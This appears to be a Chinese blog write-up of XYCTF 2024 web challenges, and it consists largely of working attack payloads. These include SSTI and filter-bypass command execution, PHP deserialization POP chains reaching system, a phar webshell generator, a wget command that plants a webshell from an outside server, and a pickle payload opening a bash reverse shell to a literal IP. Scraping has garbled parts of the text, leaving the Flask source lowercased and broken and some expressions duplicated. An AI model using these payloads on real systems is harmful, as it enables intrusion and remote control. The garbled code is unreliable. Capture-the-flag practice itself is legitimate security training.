XYCTF 2024 Web
Ten^v^ 2024-09-18 17:03:05 阅读 89
Web
我是一个复读机
用户名密码:admin/asdqwe
进入以后就是ssti模板注入,但是禁用了{ [ ’ "
后来发现只要输入中文,就可以进行模板注入了
[ 方括号被禁用可以使用__getitem__绕过
双引号单引号被禁用,使用使用request.values.a绕过
<code>http://xyctf.top:45993/index
?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read()
此题的源码
from flask import *
import urllib.parse
app = flask(__name__)
app.secret_key = 'lzlcnb' # 设置会话密钥,用于加密会话数据
@app.route('/', methods=['get', 'post'])
def login():
if request.method == 'post':
username = request.form['username']
password = request.form['password']
# 进行登录验证逻辑,如验证用户名密码是否匹配等
# 登录验证成功
if username=='admin' and password=='asdqwe':
session['username'] = username
return redirect('/index')
return render_template('login.html')
@app.route('/index')
def index():
if 'username' in session:
try:
# word=request.args.get('sentence')
# if word=="{ -- -->{}}":
# word=none
flag=0
word = request.args.get('sentence')
balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']
for i in balck_array:
if word!=none and i in word:
word="what are you doing,little hacker"code>
break
if word is not none:
for i in range(len(word)):
if ord(word[i])>128:
word='{'+word[0:i]+word[i+1:]+'}'code>
flag+=1
else:
word="what do you want to say"code>
if flag:
word="我只能看懂你说的英文(>﹏<)"+wordcode>
if "{ -- -->{}}" in word:
word = word.replace("{ {}}",'{ {}}')
html='''code>
<!doctype html>
<html>
<head>
<title>我是一个复读机</title>
<style>
body { -- -->{
font-family: arial, sans-serif;
background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
background-size: cover;
background-position: center;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}}
form { {
background-color: rgba(255, 255, 255, 0.8);
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
width: 800px;
}}
h2 { {
text-align: center;
color: #333;
}}
label { {
display: block;
margin-top: 10px;
color: #555;
}}
input[type="text"],code>
input[type="password"] { -- -->{code>
width: 100%;
padding: 8px;
margin-top: 4px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}}
input[type="submit"] { -- -->{code>
width: 100%;
padding: 8px;
margin-top: 10px;
background-color: #007bff;
color: #fff;
border: none;
border-radius: 4px;
cursor: pointer;
}}
input[type="submit"]:hover { -- -->{code>
background-color: #0056b3;
}}
</style>
</head>
<body>
<form action="/index" method="get">code>
<h2>我的宝,你说什么我就说什么</h2>
<label for="sentence">你想说的话</label>code>
<input type="text" id="sentence" name="sentence" required>code>
<input type="submit" value="tell me">code>
<h2>{}</h2>
</form>
</body>
</html>'''.format(word)
return render_template_string(html)
except exception as e:
return "出现了一点小问题"
else:
return redirect('/')
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=true,port=8080)code>
ez?Make
禁用字符如下:
/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/
payload使用正则表达式绕过
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort [!b-eh-z][!b-km-z][!b-z][!b-eh-z]
ezMake
直接访问路径/flag,就可以得到flag
牢牢记住,逝者为大
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{ -- -->
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
绕过注释符,使用回车符
并且这题因为长度的限制,所以无法回显,只能使用反引号
由于使用不了>,所以无法常规的去反弹shell,但是wget命令可以使用,所以我们可以在vps中写入木马文件,然后下载到靶机
payload
http://xyctf.top:46257/?cmd=%0a`$_GET[0]`;%23&0=wget http://60.204.170.160:8989/1.php -O 123.php
warm up
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}
第一个if也就是正常的弱比较
第二个if无非就是加密前的明文要为0e开头,然后加密后的hash值也是0e开头
第三个if也是弱比较,主要是通过extract变量覆盖去修改两个变量的值
payload
http://xyctf.top:46282/?val1=s1885207154a&val2=s1502113478a&md5=0e215962017&XY=s1885207154a&XYCTF=s1885207154a
得到页面:LLeeevvveeelll222.php
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}
第一层if使用数组绕过
然后就是preg_replace /e命令执行
http://xyctf.top:46282/LLeeevvveeelll222.php?a=/233/e&b=phpinfo()&c=233
post: a[]=1
ezPOP
源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
首先要先绕过GC垃圾回收机制,不然无法正常反序列化执行destruct魔术方法
使用数组绕过
$a = array($c,0)
echo serialize($a);
pop链
<?php
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$c = new CCC;
$c->c = new AAA;
$c->c->s = new BBB;
$a = array($c,0);
echo serialize($a);
a:2:{ i:0;O:3:"CCC":1:{ s:1:"c";O:3:"AAA":2:{ s:1:"s";O:3:"BBB":2:{ s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}
把后面的i:1改成i:0,不然还是无法绕过的
a:2:{ i:0;O:3:"CCC":1:{ s:1:"c";O:3:"AAA":2:{ s:1:"s";O:3:"BBB":2:{ s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:0;i:0;}
然后关键的代码就是在
<code> public function __get($name)
{ -- -->
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
最后一行call_user_func(
a
,
a,
a,b)(
c
)
(
c)(
c)(d);
这个的意思其实也就是将call_user_func执行后的结果传递给下一个函数c进行处理,然后d为函数c的参数
分析传参:
a 为取数组里面的元素
b 是数组,这里面放要处理c的函数
最终payload
http://xyctf.top:46310/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}
post: a=array_shift&b=strrev
最终的目的就是array_shift函数取出数组b里面的第一个元素也就是strrev函数
然后strrev函数会处理temsys,反转过来就是system
最后就是命令执行
ezmd5
上传两个由fastcoll生成的图片
ezhttp
referer绕过
然后得到
登录成功!
你用的不是XYCTF的浏览器
user-agent绕过
登录成功!
非本地用户禁止访问!
Client-ip绕过
登录成功!
不是从 ymzx.qq.com 代理来的我不玩
登录成功!
有点饿,想吃点XYCTF的小饼干
登录成功!
恭喜你拿到flag!
XYCTF{3aa4c02c-5f02-433e-84e2-5137245fd057}
ezSerialize
第一层
<code><?php
class Flag { -- -->
public $token;
public $password;
}
$a = new Flag();
$a->password = 1;
$a->password = &$a->token;
echo serialize($a);
第二层
<?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen;
}
class E {
public $name = "xxxxx";
public $num;
}
$e = new E;
$e->name = new D;
$e->name->lao = new B;
$e->name->lao->luo = new A;
$e->name->lao->luo->mack = new C;
echo serialize($e);
第三层
<?php
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
}
$x1 = new XYCTFNO3;
$x1->KickyMu = new XYCTFNO2;
$x1->KickyMu->adwa->crypto0 = "dev1l";
$x1->KickyMu->adwa->T1ng = "yuroandCMD258";
$x1->N1ght = "oSthing";
echo serialize($x1);
pharme
<?php
class evil{
public $cmd;
public $a;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new evil();
$o->cmd= "eval(end(getallheaders()));__halt_compiler();";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
然后绕过__HALT_COMPILER();
import gzip
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('newquanqi.png', 'wb') as file:#更改文件后缀
file.write(newf)
连连看到底是连连什么看
<?php
highlight_file(__FILE__);
error_reporting(0);
$p=$_GET['p'];
if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}
$payload="php://filter/$p/resource=/etc/passwd";code>
if(file_get_contents($payload)==="XYCTF"){ -- -->
echo file_get_contents('/flag');
}
php_filter_chain这个工具直接生成
python3 php_filter_chain_generator.py --chain 'XYCTF<'
然后复制下payload之后,使用string.strip.tag过滤器绕过
为什么可以绕过,这是因为
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
下面有一个实例
ezRCE
<code><?php
highlight_file(__FILE__);
function waf($cmd){ -- -->
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
只能有数字,并且是system直接执行
可以使用八进制进行绕过,但要注意八进制不能加参数
$'\154\163' ls
$'\143\141\164'<$'\57\146\154\141\147' cat /flag
ezClass
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
意思也就是,让我们使用两个原生类,将第一个原生类的结果丢给后面的原生类进行处理
太麻烦了,一个原生类就够了
a=SplFileObject&aa=/flag&c=fgets
这个方法读取文件内容有限,只能显示第一个行,但是读取flag文件足矣了
login
import pickle
import base64
# class pay(object):
# def __reduce__(self):
# return (eval,("print(123)",))
# a = pickle.dumps(pay())
# a = base64.b64encode(a)
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'
o.'''
# print(pickle.dumps(c))
# print(a)
print(base64.b64encode(c))
εZ?¿м@Kε¿?
hint.php内容
/^[$|\(|\)|\@|\[|\]|\{ |\}|\< | \>|\-]+$/
我们只能输入这个正则里面的符号,通过对makefile的理解
这题是借用makefile的自动变量可以读取到flag的内容
https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html
得到如下的payload
$$(<$<)
give me flag
hash长度扩展攻击
<code><?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{ -- -->
highlight_file(__FILE__);
die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
f6ab6309f305e0f1b61cbec905c4c01f
拿已知的md5值,加上预定的时间戳
https://tool.lu/timestamp/
然后抓包bp,value填入长度为43的明文,再传入新的md5
这题多少有点圣经,很容易跑崩,懒得复现了
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。